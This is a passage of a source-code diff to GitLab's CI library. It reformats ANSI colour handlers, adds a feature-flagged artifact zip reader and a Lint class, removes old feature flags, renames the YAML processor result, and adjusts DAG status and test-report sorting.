+ set_bg_color_256(stack)
+ end
- def on_49(_) set_bg_color(9) end
+ def on_49(_)
+ set_bg_color(9)
+ end
- def on_90(_) set_fg_color(0, 'l') end
+ def on_90(_)
+ set_fg_color(0, 'l')
+ end
- def on_91(_) set_fg_color(1, 'l') end
+ def on_91(_)
+ set_fg_color(1, 'l')
+ end
- def on_92(_) set_fg_color(2, 'l') end
+ def on_92(_)
+ set_fg_color(2, 'l')
+ end
- def on_93(_) set_fg_color(3, 'l') end
+ def on_93(_)
+ set_fg_color(3, 'l')
+ end
- def on_94(_) set_fg_color(4, 'l') end
+ def on_94(_)
+ set_fg_color(4, 'l')
+ end
- def on_95(_) set_fg_color(5, 'l') end
+ def on_95(_)
+ set_fg_color(5, 'l')
+ end
- def on_96(_) set_fg_color(6, 'l') end
+ def on_96(_)
+ set_fg_color(6, 'l')
+ end
- def on_97(_) set_fg_color(7, 'l') end
+ def on_97(_)
+ set_fg_color(7, 'l')
+ end
- def on_99(_) set_fg_color(9, 'l') end
+ def on_99(_)
+ set_fg_color(9, 'l')
+ end
- def on_100(_) set_bg_color(0, 'l') end
+ def on_100(_)
+ set_bg_color(0, 'l')
+ end
- def on_101(_) set_bg_color(1, 'l') end
+ def on_101(_)
+ set_bg_color(1, 'l')
+ end
- def on_102(_) set_bg_color(2, 'l') end
+ def on_102(_)
+ set_bg_color(2, 'l')
+ end
- def on_103(_) set_bg_color(3, 'l') end
+ def on_103(_)
+ set_bg_color(3, 'l')
+ end
- def on_104(_) set_bg_color(4, 'l') end
+ def on_104(_)
+ set_bg_color(4, 'l')
+ end
- def on_105(_) set_bg_color(5, 'l') end
+ def on_105(_)
+ set_bg_color(5, 'l')
+ end
- def on_106(_) set_bg_color(6, 'l') end
+ def on_106(_)
+ set_bg_color(6, 'l')
+ end
- def on_107(_) set_bg_color(7, 'l') end
+ def on_107(_)
+ set_bg_color(7, 'l')
+ end
- def on_109(_) set_bg_color(9, 'l') end
+ def on_109(_)
+ set_bg_color(9, 'l')
+ end
attr_accessor :offset, :n_open_tags, :fg_color, :bg_color, :style_mask, :sections, :lineno_in_section
diff --git a/lib/gitlab/ci/artifact_file_reader.rb b/lib/gitlab/ci/artifact_file_reader.rb
index c2d17cc176e..6395a20ca99 100644
--- a/lib/gitlab/ci/artifact_file_reader.rb
+++ b/lib/gitlab/ci/artifact_file_reader.rb
@@ -45,6 +45,31 @@ module Gitlab
end
def read_zip_file!(file_path)
+ if ::Gitlab::Ci::Features.new_artifact_file_reader_enabled?(job.project)
+ read_with_new_artifact_file_reader(file_path)
+ else
+ read_with_legacy_artifact_file_reader(file_path)
+ end
+ end
+
+ def read_with_new_artifact_file_reader(file_path)
+ job.artifacts_file.use_open_file do |file|
+ zip_file = Zip::File.new(file, false, true)
+ entry = zip_file.find_entry(file_path)
+
+ unless entry
+ raise Error, "Path `#{file_path}` does not exist inside the `#{job.name}` artifacts archive!"
+ end
+
+ if entry.name_is_directory?
+ raise Error, "Path `#{file_path}` was expected to be a file but it was a directory!"
+ end
+
+ zip_file.read(entry)
+ end
+ end
+
+ def read_with_legacy_artifact_file_reader(file_path)
job.artifacts_file.use_file do |archive_path|
Zip::File.open(archive_path) do |zip_file|
entry = zip_file.find_entry(file_path)
diff --git a/lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb b/lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb
index b64990d6a7a..72ef0a8d067 100644
--- a/lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb
+++ b/lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb
@@ -33,7 +33,7 @@ module Gitlab
def kubernetes_namespace
strong_memoize(:kubernetes_namespace) do
- Clusters::KubernetesNamespaceFinder.new(
+ ::Clusters::KubernetesNamespaceFinder.new(
deployment_cluster,
project: environment.project,
environment_name: environment.name,
@@ -47,7 +47,7 @@ module Gitlab
return if conflicting_ci_namespace_requested?(namespace)
- Clusters::Kubernetes::CreateOrUpdateNamespaceService.new(
+ ::Clusters::Kubernetes::CreateOrUpdateNamespaceService.new(
cluster: deployment_cluster,
kubernetes_namespace: namespace
).execute
@@ -71,7 +71,7 @@ module Gitlab
end
def build_namespace_record
- Clusters::BuildKubernetesNamespaceService.new(
+ ::Clusters::BuildKubernetesNamespaceService.new(
deployment_cluster,
environment: environment
).execute
diff --git a/lib/gitlab/ci/config.rb b/lib/gitlab/ci/config.rb
index d81a3fef1f5..9d269831679 100644
--- a/lib/gitlab/ci/config.rb
+++ b/lib/gitlab/ci/config.rb
@@ -62,6 +62,10 @@ module Gitlab
root.jobs_value
end
+ def normalized_jobs
+ @normalized_jobs ||= Ci::Config::Normalizer.new(jobs).normalize_jobs
+ end
+
private
def expand_config(config)
diff --git a/lib/gitlab/ci/config/entry/job.rb b/lib/gitlab/ci/config/entry/job.rb
index f960cec1f26..ecc2c5cb729 100644
--- a/lib/gitlab/ci/config/entry/job.rb
+++ b/lib/gitlab/ci/config/entry/job.rb
@@ -122,39 +122,9 @@ module Gitlab
:needs, :retry, :parallel, :start_in,
:interruptible, :timeout, :resource_group, :release
- Matcher = Struct.new(:name, :config) do
- def applies?
- job_is_not_hidden? &&
- config_is_a_hash? &&
- has_job_keys?
- end
-
- private
-
- def job_is_not_hidden?
- !name.to_s.start_with?('.')
- end
-
- def config_is_a_hash?
- config.is_a?(Hash)
- end
-
- def has_job_keys?
- if name == :default
- config.key?(:script)
- else
- (ALLOWED_KEYS & config.keys).any?
- end
- end
- end
-
def self.matching?(name, config)
- if Gitlab::Ci::Features.job_entry_matches_all_keys?
- Matcher.new(name, config).applies?
- else
- !name.to_s.start_with?('.') &&
- config.is_a?(Hash) && config.key?(:script)
- end
+ !name.to_s.start_with?('.') &&
+ config.is_a?(Hash) && config.key?(:script)
end
def self.visible?
diff --git a/lib/gitlab/ci/config/entry/jobs.rb b/lib/gitlab/ci/config/entry/jobs.rb
index 1d3036189b0..b5ce42969a5 100644
--- a/lib/gitlab/ci/config/entry/jobs.rb
+++ b/lib/gitlab/ci/config/entry/jobs.rb
@@ -14,8 +14,8 @@ module Gitlab
validates :config, type: Hash
validate do
- unless has_valid_jobs?
- errors.add(:config, 'should contain valid jobs')
+ each_unmatched_job do |name|
+ errors.add(name, 'config should implement a script: or a trigger: keyword')
end
unless has_visible_job?
@@ -23,9 +23,9 @@ module Gitlab
end
end
- def has_valid_jobs?
- config.all? do |name, value|
- Jobs.find_type(name, value)
+ def each_unmatched_job
+ config.each do |name, value|
+ yield(name) unless Jobs.find_type(name, value)
end
end
diff --git a/lib/gitlab/ci/config/entry/root.rb b/lib/gitlab/ci/config/entry/root.rb
index 19d6a470941..2d93f1ab06e 100644
--- a/lib/gitlab/ci/config/entry/root.rb
+++ b/lib/gitlab/ci/config/entry/root.rb
@@ -134,7 +134,7 @@ module Gitlab
@jobs_config = @config
.except(*self.class.reserved_nodes_names)
.select do |name, config|
- Entry::Jobs.find_type(name, config).present?
+ Entry::Jobs.find_type(name, config).present? || ALLOWED_KEYS.exclude?(name)
end
@config = @config.except(*@jobs_config.keys)
diff --git a/lib/gitlab/ci/config/normalizer.rb b/lib/gitlab/ci/config/normalizer.rb
index 451ba14bb89..22fcd84c968 100644
--- a/lib/gitlab/ci/config/normalizer.rb
+++ b/lib/gitlab/ci/config/normalizer.rb
@@ -11,6 +11,7 @@ module Gitlab
end
def normalize_jobs
+ return {} unless @jobs_config
return @jobs_config if parallelized_jobs.empty?
expand_parallelize_jobs do |job_name, config|
diff --git a/lib/gitlab/ci/config/normalizer/matrix_strategy.rb b/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
index db21274a9ed..5a23836d8a0 100644
--- a/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
+++ b/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
@@ -48,14 +48,13 @@ module Gitlab
}
end
- def name_with_details
- vars = variables.map { |key, value| "#{key}=#{value}"}.join('; ')
-
- "#{job_name} (#{vars})"
- end
-
def name
- "#{job_name} #{instance}/#{total}"
+ vars = variables
+ .values
+ .compact
+ .join(', ')
+
+ "#{job_name}: [#{vars}]"
end
private
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
index 2f6667d3600..e770187b124 100644
--- a/lib/gitlab/ci/features.rb
+++ b/lib/gitlab/ci/features.rb
@@ -31,56 +31,49 @@ module Gitlab
::Feature.enabled?(:ci_store_pipeline_messages, project, default_enabled: true)
end
- # Remove in https://gitlab.com/gitlab-org/gitlab/-/issues/227052
- def self.variables_api_filter_environment_scope?
- ::Feature.enabled?(:ci_variables_api_filter_environment_scope, default_enabled: true)
- end
-
def self.raise_job_rules_without_workflow_rules_warning?
::Feature.enabled?(:ci_raise_job_rules_without_workflow_rules_warning, default_enabled: true)
end
- def self.keep_latest_artifacts_for_ref_enabled?(project)
- ::Feature.enabled?(:keep_latest_artifacts_for_ref, project, default_enabled: false)
- end
-
- def self.destroy_only_unlocked_expired_artifacts_enabled?
- ::Feature.enabled?(:destroy_only_unlocked_expired_artifacts, default_enabled: false)
- end
-
def self.bulk_insert_on_create?(project)
::Feature.enabled?(:ci_bulk_insert_on_create, project, default_enabled: true)
end
- def self.ci_if_parenthesis_enabled?
- ::Feature.enabled?(:ci_if_parenthesis_enabled, default_enabled: true)
+ # NOTE: The feature flag `disallow_to_create_merge_request_pipelines_in_target_project`
+ # is a safe switch to disable the feature for a parituclar project when something went wrong,
+ # therefore it's not supposed to be enabled by default.
+ def self.disallow_to_create_merge_request_pipelines_in_target_project?(target_project)
+ ::Feature.enabled?(:ci_disallow_to_create_merge_request_pipelines_in_target_project, target_project)
end
- def self.allow_to_create_merge_request_pipelines_in_target_project?(target_project)
- ::Feature.enabled?(:ci_allow_to_create_merge_request_pipelines_in_target_project, target_project, default_enabled: true)
+ def self.lint_creates_pipeline_with_dry_run?(project)
+ ::Feature.enabled?(:ci_lint_creates_pipeline_with_dry_run, project, default_enabled: true)
end
- def self.ci_plan_needs_size_limit?(project)
- ::Feature.enabled?(:ci_plan_needs_size_limit, project, default_enabled: true)
+ def self.project_transactionless_destroy?(project)
+ Feature.enabled?(:project_transactionless_destroy, project, default_enabled: false)
end
- def self.job_entry_matches_all_keys?
- ::Feature.enabled?(:ci_job_entry_matches_all_keys)
+ def self.coverage_report_view?(project)
+ ::Feature.enabled?(:coverage_report_view, project, default_enabled: true)
end
- def self.lint_creates_pipeline_with_dry_run?(project)
- ::Feature.enabled?(:ci_lint_creates_pipeline_with_dry_run, project, default_enabled: true)
+ def self.child_of_child_pipeline_enabled?(project)
+ ::Feature.enabled?(:ci_child_of_child_pipeline, project, default_enabled: true)
end
- def self.reset_ci_minutes_for_all_namespaces?
- ::Feature.enabled?(:reset_ci_minutes_for_all_namespaces, default_enabled: false)
+ def self.trace_overwrite?
+ ::Feature.enabled?(:ci_trace_overwrite, type: :ops, default_enabled: false)
end
- def self.expand_names_for_cross_pipeline_artifacts?(project)
- ::Feature.enabled?(:ci_expand_names_for_cross_pipeline_artifacts, project)
+ def self.accept_trace?(project)
+ ::Feature.enabled?(:ci_enable_live_trace, project) &&
+ ::Feature.enabled?(:ci_accept_trace, project, type: :ops, default_enabled: false)
+ end
+
+ def self.new_artifact_file_reader_enabled?(project)
+ ::Feature.enabled?(:ci_new_artifact_file_reader, project, default_enabled: false)
end
end
end
end
-
-::Gitlab::Ci::Features.prepend_if_ee('::EE::Gitlab::Ci::Features')
diff --git a/lib/gitlab/ci/lint.rb b/lib/gitlab/ci/lint.rb
new file mode 100644
index 00000000000..86a9ebfa451
--- /dev/null
+++ b/lib/gitlab/ci/lint.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ class Lint
+ class Result
+ attr_reader :jobs, :errors, :warnings
+
+ def initialize(jobs:, errors:, warnings:)
+ @jobs = jobs
+ @errors = errors
+ @warnings = warnings
+ end
+
+ def valid?
+ @errors.empty?
+ end
+ end
+
+ def initialize(project:, current_user:)
+ @project = project
+ @current_user = current_user
+ end
+
+ def validate(content, dry_run: false)
+ if dry_run && Gitlab::Ci::Features.lint_creates_pipeline_with_dry_run?(@project)
+ simulate_pipeline_creation(content)
+ else
+ static_validation(content)
+ end
+ end
+
+ private
+
+ def simulate_pipeline_creation(content)
+ pipeline = ::Ci::CreatePipelineService
+ .new(@project, @current_user, ref: @project.default_branch)
+ .execute(:push, dry_run: true, content: content)
+
+ Result.new(
+ jobs: dry_run_convert_to_jobs(pipeline.stages),
+ errors: pipeline.error_messages.map(&:content),
+ warnings: pipeline.warning_messages(limit: ::Gitlab::Ci::Warnings::MAX_LIMIT).map(&:content)
+ )
+ end
+
+ def static_validation(content)
+ result = Gitlab::Ci::YamlProcessor.new(
+ content,
+ project: @project,
+ user: @current_user,
+ sha: @project.repository.commit.sha
+ ).execute
+
+ Result.new(
+ jobs: static_validation_convert_to_jobs(result),
+ errors: result.errors,
+ warnings: result.warnings.take(::Gitlab::Ci::Warnings::MAX_LIMIT) # rubocop: disable CodeReuse/ActiveRecord
+ )
+ end
+
+ def dry_run_convert_to_jobs(stages)
+ stages.reduce([]) do |jobs, stage|
+ jobs + stage.statuses.map do |job|
+ {
+ name: job.name,
+ stage: stage.name,
+ before_script: job.options[:before_script].to_a,
+ script: job.options[:script].to_a,
+ after_script: job.options[:after_script].to_a,
+ tag_list: (job.tag_list if job.is_a?(::Ci::Build)).to_a,
+ environment: job.options.dig(:environment, :name),
+ when: job.when,
+ allow_failure: job.allow_failure
+ }
+ end
+ end
+ end
+
+ def static_validation_convert_to_jobs(result)
+ jobs = []
+ return jobs unless result.valid?
+
+ result.stages.each do |stage_name|
+ result.builds.each do |job|
+ next unless job[:stage] == stage_name
+
+ jobs << {
+ name: job[:name],
+ stage: stage_name,
+ before_script: job.dig(:options, :before_script).to_a,
+ script: job.dig(:options, :script).to_a,
+ after_script: job.dig(:options, :after_script).to_a,
+ tag_list: job[:tag_list].to_a,
+ only: job[:only],
+ except: job[:except],
+ environment: job[:environment],
+ when: job[:when],
+ allow_failure: job[:allow_failure]
+ }
+ end
+ end
+
+ jobs
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/mask_secret.rb b/lib/gitlab/ci/mask_secret.rb
index 58d55b1bd6f..e5a7151b823 100644
--- a/lib/gitlab/ci/mask_secret.rb
+++ b/lib/gitlab/ci/mask_secret.rb
@@ -8,6 +8,11 @@ module Gitlab
# We assume 'value' must be mutable, given
# that frozen string is enabled.
+
+ ##
+ # TODO We need to remove this because it is going to change checksum of
+ # a trace.
+ #
value.gsub!(token, 'x' * token.length)
value
end
diff --git a/lib/gitlab/ci/pipeline/chain/build.rb b/lib/gitlab/ci/pipeline/chain/build.rb
index 4190c40eb66..9662209f88e 100644
--- a/lib/gitlab/ci/pipeline/chain/build.rb
+++ b/lib/gitlab/ci/pipeline/chain/build.rb
@@ -20,11 +20,7 @@ module Gitlab
pipeline_schedule: @command.schedule,
merge_request: @command.merge_request,
external_pull_request: @command.external_pull_request,
- variables_attributes: Array(@command.variables_attributes),
- # This should be removed and set on the database column default
- # level when the keep_latest_artifacts_for_ref feature flag is
- # removed.
- locked: ::Gitlab::Ci::Features.keep_latest_artifacts_for_ref_enabled?(@command.project) ? :artifacts_locked : :unlocked
+ variables_attributes: Array(@command.variables_attributes)
)
end
diff --git a/lib/gitlab/ci/pipeline/chain/command.rb b/lib/gitlab/ci/pipeline/chain/command.rb
index dbaa6951e64..d1882059dd8 100644
--- a/lib/gitlab/ci/pipeline/chain/command.rb
+++ b/lib/gitlab/ci/pipeline/chain/command.rb
@@ -12,7 +12,7 @@ module Gitlab
:seeds_block, :variables_attributes, :push_options,
:chat_data, :allow_mirror_update, :bridge, :content, :dry_run,
# These attributes are set by Chains during processing:
- :config_content, :config_processor, :stage_seeds
+ :config_content, :yaml_processor_result, :stage_seeds
) do
include Gitlab::Utils::StrongMemoize
diff --git a/lib/gitlab/ci/pipeline/chain/config/content/remote.rb b/lib/gitlab/ci/pipeline/chain/config/content/remote.rb
index dcc336b8929..4990a5a6eb5 100644
--- a/lib/gitlab/ci/pipeline/chain/config/content/remote.rb
+++ b/lib/gitlab/ci/pipeline/chain/config/content/remote.rb
@@ -9,7 +9,7 @@ module Gitlab
class Remote < Source
def content
strong_memoize(:content) do
- next unless ci_config_path =~ URI.regexp(%w[http https])
+ next unless ci_config_path =~ URI::DEFAULT_PARSER.make_regexp(%w[http https])
YAML.dump('include' => [{ 'remote' => ci_config_path }])
end
diff --git a/lib/gitlab/ci/pipeline/chain/config/process.rb b/lib/gitlab/ci/pipeline/chain/config/process.rb
index 2cfcb295407..8ccb33ffd34 100644
--- a/lib/gitlab/ci/pipeline/chain/config/process.rb
+++ b/lib/gitlab/ci/pipeline/chain/config/process.rb
@@ -11,20 +11,23 @@ module Gitlab
def perform!
raise ArgumentError, 'missing config content' unless @command.config_content
- @command.config_processor = ::Gitlab::Ci::YamlProcessor.new(
+ result = ::Gitlab::Ci::YamlProcessor.new(
@command.config_content, {
project: project,
sha: @pipeline.sha,
user: current_user,
parent_pipeline: parent_pipeline
}
- )
+ ).execute
+
+ add_warnings_to_pipeline(result.warnings)
- add_warnings_to_pipeline(@command.config_processor.warnings)
- rescue Gitlab::Ci::YamlProcessor::ValidationError => ex
- add_warnings_to_pipeline(ex.warnings)
+ if result.valid?
+ @command.yaml_processor_result = result
+ else
+ error(result.errors.first, config_error: true)
+ end
- error(ex.message, config_error: true)
rescue => ex
Gitlab::ErrorTracking.track_exception(ex,
project_id: project.id,
diff --git a/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb b/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
index a793ae9cc24..3c910963a2a 100644
--- a/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
+++ b/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
@@ -39,7 +39,7 @@ module Gitlab
end
def workflow_config
- @command.config_processor.workflow_attributes || {}
+ @command.yaml_processor_result.workflow_attributes || {}
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs.rb b/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs.rb
index 9267c72efa4..71f22c52869 100644
--- a/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs.rb
+++ b/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs.rb
@@ -6,13 +6,13 @@ module Gitlab
module Chain
class RemoveUnwantedChatJobs < Chain::Base
def perform!
- raise ArgumentError, 'missing config processor' unless @command.config_processor
+ raise ArgumentError, 'missing YAML processor result' unless @command.yaml_processor_result
return unless pipeline.chat?
# When scheduling a chat pipeline we only want to run the build
# that matches the chat command.
- @command.config_processor.jobs.select! do |name, _|
+ @command.yaml_processor_result.jobs.select! do |name, _|
name.to_s == command.chat_data[:command].to_s
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/seed.rb b/lib/gitlab/ci/pipeline/chain/seed.rb
index e48e79d561b..e10a0bc3718 100644
--- a/lib/gitlab/ci/pipeline/chain/seed.rb
+++ b/lib/gitlab/ci/pipeline/chain/seed.rb
@@ -9,7 +9,7 @@ module Gitlab
include Gitlab::Utils::StrongMemoize
def perform!
- raise ArgumentError, 'missing config processor' unless @command.config_processor
+ raise ArgumentError, 'missing YAML processor result' unless @command.yaml_processor_result
# Allocate next IID. This operation must be outside of transactions of pipeline creations.
pipeline.ensure_project_iid!
@@ -56,7 +56,7 @@ module Gitlab
end
def stages_attributes
- @command.config_processor.stages_attributes
+ @command.yaml_processor_result.stages_attributes
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/validate/external.rb b/lib/gitlab/ci/pipeline/chain/validate/external.rb
index 24628338dd2..d056501a6d3 100644
--- a/lib/gitlab/ci/pipeline/chain/validate/external.rb
+++ b/lib/gitlab/ci/pipeline/chain/validate/external.rb
@@ -51,7 +51,7 @@ module Gitlab
def validate_service_request
Gitlab::HTTP.post(
validation_service_url, timeout: VALIDATION_REQUEST_TIMEOUT,
- body: validation_service_payload(@pipeline, @command.config_processor.stages_attributes)
+ body: validation_service_payload(@pipeline, @command.yaml_processor_result.stages_attributes)
)
end
diff --git a/lib/gitlab/ci/pipeline/expression/lexer.rb b/lib/gitlab/ci/pipeline/expression/lexer.rb
index 5b7365cb33b..ac03ef79ccb 100644
--- a/lib/gitlab/ci/pipeline/expression/lexer.rb
+++ b/lib/gitlab/ci/pipeline/expression/lexer.rb
@@ -24,26 +24,8 @@ module Gitlab
Expression::Lexeme::Or
].freeze
- # To be removed with `ci_if_parenthesis_enabled`
- LEGACY_LEXEMES = [
- Expression::Lexeme::Variable,
- Expression::Lexeme::String,
- Expression::Lexeme::Pattern,
- Expression::Lexeme::Null,
- Expression::Lexeme::Equals,
- Expression::Lexeme::Matches,
- Expression::Lexeme::NotEquals,
- Expression::Lexeme::NotMatches,
- Expression::Lexeme::And,
- Expression::Lexeme::Or
- ].freeze
-
def self.lexemes
- if ::Gitlab::Ci::Features.ci_if_parenthesis_enabled?
- LEXEMES
- else
- LEGACY_LEXEMES
- end
+ LEXEMES
end
MAX_TOKENS = 100
diff --git a/lib/gitlab/ci/pipeline/expression/parser.rb b/lib/gitlab/ci/pipeline/expression/parser.rb
index 27d7aa2f37e..a20b0015e05 100644
--- a/lib/gitlab/ci/pipeline/expression/parser.rb
+++ b/lib/gitlab/ci/pipeline/expression/parser.rb
@@ -15,12 +15,7 @@ module Gitlab
def tree
results = []
- tokens =
- if ::Gitlab::Ci::Features.ci_if_parenthesis_enabled?
- tokens_rpn
- else
- legacy_tokens_rpn
- end
+ tokens = tokens_rpn
tokens.each do |token|
case token.type
@@ -78,27 +73,6 @@ module Gitlab
output.concat(operators.reverse)
end
-
- # To be removed with `ci_if_parenthesis_enabled`
- def legacy_tokens_rpn
- output = []
- operators = []
-
- @tokens.each do |token|
- case token.type
- when :value
- output.push(token)
- when :logical_operator
- if operators.any? && token.lexeme.precedence >= operators.last.lexeme.precedence
- output.push(operators.pop)
- end
-
- operators.push(token)
- end
- end
-
- output.concat(operators.reverse)
- end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 3be3fa63b92..91dbcc616ea 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -11,8 +11,6 @@ module Gitlab
delegate :dig, to: :@seed_attributes
- DEFAULT_NEEDS_LIMIT = 10
-
def initialize(pipeline, attributes, previous_stages)
@pipeline = pipeline
@seed_attributes = attributes
@@ -140,11 +138,7 @@ module Gitlab
end
def max_needs_allowed
- if ::Gitlab::Ci::Features.ci_plan_needs_size_limit?(@pipeline.project)
- @pipeline.project.actual_limits.ci_needs_size_limit
- else
- DEFAULT_NEEDS_LIMIT
- end
+ @pipeline.project.actual_limits.ci_needs_size_limit
end
def pipeline_attributes
diff --git a/lib/gitlab/ci/pipeline_object_hierarchy.rb b/lib/gitlab/ci/pipeline_object_hierarchy.rb
new file mode 100644
index 00000000000..de3262b10e0
--- /dev/null
+++ b/lib/gitlab/ci/pipeline_object_hierarchy.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ class PipelineObjectHierarchy < ::Gitlab::ObjectHierarchy
+ private
+
+ def middle_table
+ ::Ci::Sources::Pipeline.arel_table
+ end
+
+ def from_tables(cte)
+ [objects_table, cte.table, middle_table]
+ end
+
+ def parent_id_column(_cte)
+ middle_table[:source_pipeline_id]
+ end
+
+ def ancestor_conditions(cte)
+ middle_table[:source_pipeline_id].eq(objects_table[:id]).and(
+ middle_table[:pipeline_id].eq(cte.table[:id])
+ ).and(
+ same_project_condition
+ )
+ end
+
+ def descendant_conditions(cte)
+ middle_table[:pipeline_id].eq(objects_table[:id]).and(
+ middle_table[:source_pipeline_id].eq(cte.table[:id])
+ ).and(
+ same_project_condition
+ )
+ end
+
+ def same_project_condition
+ if options[:same_project]
+ middle_table[:source_project_id].eq(middle_table[:project_id])
+ else
+ Arel.sql('TRUE')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/test_case.rb b/lib/gitlab/ci/reports/test_case.rb
index 75898745366..15a3c862c9e 100644
--- a/lib/gitlab/ci/reports/test_case.rb
+++ b/lib/gitlab/ci/reports/test_case.rb
@@ -8,7 +8,7 @@ module Gitlab
STATUS_FAILED = 'failed'
STATUS_SKIPPED = 'skipped'
STATUS_ERROR = 'error'
- STATUS_TYPES = [STATUS_SUCCESS, STATUS_FAILED, STATUS_SKIPPED, STATUS_ERROR].freeze
+ STATUS_TYPES = [STATUS_ERROR, STATUS_FAILED, STATUS_SUCCESS, STATUS_SKIPPED].freeze
attr_reader :name, :classname, :execution_time, :status, :file, :system_output, :stack_trace, :key, :attachment, :job
diff --git a/lib/gitlab/ci/reports/test_suite.rb b/lib/gitlab/ci/reports/test_suite.rb
index 5ee779227ec..e9b78b841e4 100644
--- a/lib/gitlab/ci/reports/test_suite.rb
+++ b/lib/gitlab/ci/reports/test_suite.rb
@@ -78,11 +78,27 @@ module Gitlab
end
end
+ def sorted
+ sort_by_status
+ sort_by_execution_time_desc
+ self
+ end
+
private
def existing_key?(test_case)
@test_cases[test_case.status]&.key?(test_case.key)
end
+
+ def sort_by_status
+ @test_cases = @test_cases.sort_by { |status, _| Gitlab::Ci::Reports::TestCase::STATUS_TYPES.index(status) }.to_h
+ end
+
+ def sort_by_execution_time_desc
+ @test_cases = @test_cases.keys.each_with_object({}) do |key, hash|
+ hash[key] = @test_cases[key].sort_by { |_key, test_case| -test_case.execution_time }.to_h
+ end
+ end
end
end
end
diff --git a/lib/gitlab/ci/status/bridge/common.rb b/lib/gitlab/ci/status/bridge/common.rb
index 4746195c618..b95565b5e09 100644
--- a/lib/gitlab/ci/status/bridge/common.rb
+++ b/lib/gitlab/ci/status/bridge/common.rb
@@ -10,14 +10,28 @@ module Gitlab
end
def has_details?
- false
+ !!details_path
+ end
+
+ def details_path
+ return unless Feature.enabled?(:ci_bridge_pipeline_details, subject.project, default_enabled: true)
+ return unless can?(user, :read_pipeline, downstream_pipeline)
+
+ project_pipeline_path(downstream_project, downstream_pipeline)
end
def has_action?
false
end
- def details_path
+ private
+
+ def downstream_pipeline
+ subject.downstream_pipeline
+ end
+
+ def downstream_project
+ downstream_pipeline&.project
end
end
end
diff --git a/lib/gitlab/ci/status/build/failed.rb b/lib/gitlab/ci/status/build/failed.rb
index 88846f724e7..f6562737838 100644
--- a/lib/gitlab/ci/status/build/failed.rb
+++ b/lib/gitlab/ci/status/build/failed.rb
@@ -25,7 +25,8 @@ module Gitlab
insufficient_bridge_permissions: 'no permissions to trigger downstream pipeline',
bridge_pipeline_is_child_pipeline: 'creation of child pipeline not allowed from another child pipeline',
downstream_pipeline_creation_failed: 'downstream pipeline can not be created',
- secrets_provider_not_found: 'secrets provider can not be found'
+ secrets_provider_not_found: 'secrets provider can not be found',
+ reached_max_descendant_pipelines_depth: 'reached maximum depth of child pipelines'
}.freeze
private_constant :REASONS
diff --git a/lib/gitlab/ci/status/composite.rb b/lib/gitlab/ci/status/composite.rb
index 04a9fc29802..9a4f5644f7d 100644
--- a/lib/gitlab/ci/status/composite.rb
+++ b/lib/gitlab/ci/status/composite.rb
@@ -7,7 +7,7 @@ module Gitlab
include Gitlab::Utils::StrongMemoize
# This class accepts an array of arrays/hashes/or objects
- def initialize(all_statuses, with_allow_failure: true)
+ def initialize(all_statuses, with_allow_failure: true, dag: false)
unless all_statuses.respond_to?(:pluck)
raise ArgumentError, "all_statuses needs to respond to `.pluck`"
end
@@ -15,6 +15,7 @@ module Gitlab
@status_set = Set.new
@status_key = 0
@allow_failure_key = 1 if with_allow_failure
+ @dag = dag
consume_all_statuses(all_statuses)
end
@@ -31,7 +32,13 @@ module Gitlab
return if none?
strong_memoize(:status) do
- if only_of?(:skipped, :ignored)
+ if @dag && any_of?(:skipped)
+ # The DAG job is skipped if one of the needs does not run at all.
+ 'skipped'
+ elsif @dag && !only_of?(:success, :failed, :canceled, :skipped, :success_with_warnings)
+ # DAG is blocked from executing if a dependent is not "complete"
+ 'pending'
+ elsif only_of?(:skipped, :ignored)
'skipped'
elsif only_of?(:success, :skipped, :success_with_warnings, :ignored)
'success'
diff --git a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
index 968ff0fce89..6966ce88b30 100644
--- a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
@@ -150,16 +150,22 @@ workflow:
- exists:
- .static
+# NOTE: These links point to the latest templates for development in GitLab canonical project,
+# therefore the actual templates that were included for Auto DevOps pipelines
+# could be different from the contents in the links.
+# To view the actual templates, please replace `master` to the specific GitLab version when
+# the Auto DevOps pipeline started running e.g. `v13.0.2-ee`.
include:
- - template: Jobs/Build.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
- - template: Jobs/Test.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Test.gitlab-ci.yml
- - template: Jobs/Code-Quality.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
- - template: Jobs/Deploy.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
